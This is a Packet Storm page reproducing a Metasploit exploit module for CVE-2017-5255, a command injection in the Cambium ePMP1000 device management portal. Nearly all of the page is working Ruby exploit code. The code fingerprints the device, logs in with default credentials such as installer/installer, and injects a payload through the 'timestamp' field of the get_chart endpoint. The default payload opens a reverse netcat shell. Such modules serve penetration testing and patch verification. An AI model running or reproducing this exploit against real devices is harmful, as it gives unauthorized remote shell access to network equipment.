Twenty Year Anniversary

Cambium ePMP1000 3.1-3.5-RC7 Command Injection

Cambium ePMP1000 3.1-3.5-RC7 Command Injection
Posted Dec 29, 2017
Authored by Karn Ganeshen | Site metasploit.com

This Metasploit module exploits an OS Command Injection vulnerability in Cambium ePMP1000 device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to set up a reverse netcat shell. The module has been tested on versions 3.1-3.5-RC7.

tags | exploit, shell
advisories | CVE-2017-5255
MD5 | 5481d93d50d546555a22281fcd4dd6d7

Cambium ePMP1000 3.1-3.5-RC7 Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium
ePMP1000 device management portal. It requires any one of the following login
credentials - admin/admin, installer/installer, home/home - to set up a reverse
netcat shell. The module has been tested on versions 3.1-3.5-RC7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-5255'],
['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']
],
'Privileged' => true,
'Targets' =>
[
['CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DisclosureDate' => 'Dec 18 2017',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
)

register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)

deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end

#
# Fingerprinting
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end

good_response = (
res &&
res.code == 200 &&
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
)

if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true, epmp_ver
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
epmp_ver = ''
return true, epmp_ver
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
epmp_ver = nil
return false
end
end

#
# check
#
def check
success, epmp_ver = is_app_epmp1000?
if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
return CheckCode::Vulnerable
else
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
end
end

#
# Login
#
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)

cookies = res.get_cookies_parsed
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s

good_response = (
res &&
res.code == 200 &&
check_sysauth.include?('sysauth')
)

if good_response
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)

res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => sysauth_value,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass,
'prevsess' => prevsessid
}
}
)

good_response = (
res &&
res.code == 200 &&
!res.body.include?('auth_failed')
)

if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

# check if max_user_number_reached?
if !res.body.include?('max_user_number_reached')
# get the cookie now
cookies = res.get_cookies_parsed
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
stok_value = "#{stok_value_dirty}".split('"')[3]
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)

final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"

# create config_uri
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
return final_cookie, config_uri_get_chart
else
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
final_cookie = 'skip'
config_uri_dump_config = 'skip'
config_uri_reset_pass = 'skip'
config_uri_get_chart = 'skip'
return final_cookie, config_uri_get_chart
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
final_cookie = 'skip'
config_uri_get_chart = 'skip'
return final_cookie, config_uri_get_chart
end
end
end

#
# open cmd_shell
#
def cmd_shell(config_uri, cookie)
command = payload.encoded
inject = '|' + "#{command}"
clean_inject = CGI.unescapeHTML(inject.to_s)

print_status('Sending payload...')

res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' => 'XMLHttpRequest',
'Connection' => 'close'
},
'vars_post' =>
{
'measure' => 's', # This parameter can also be used for injection
'timestamp' => clean_inject,
'debug' => 0
}
}, 25
)
handler
end

# exploit

def exploit
_success, epmp_ver = is_app_epmp1000?
if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
return
else
cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && config_uri_get_chart == 'skip'
return
else
cmd_shell(config_uri_get_chart, cookie)
end
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    7 Files
  • 23
    Jun 23rd
    2 Files
  • 24
    Jun 24th
    1 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close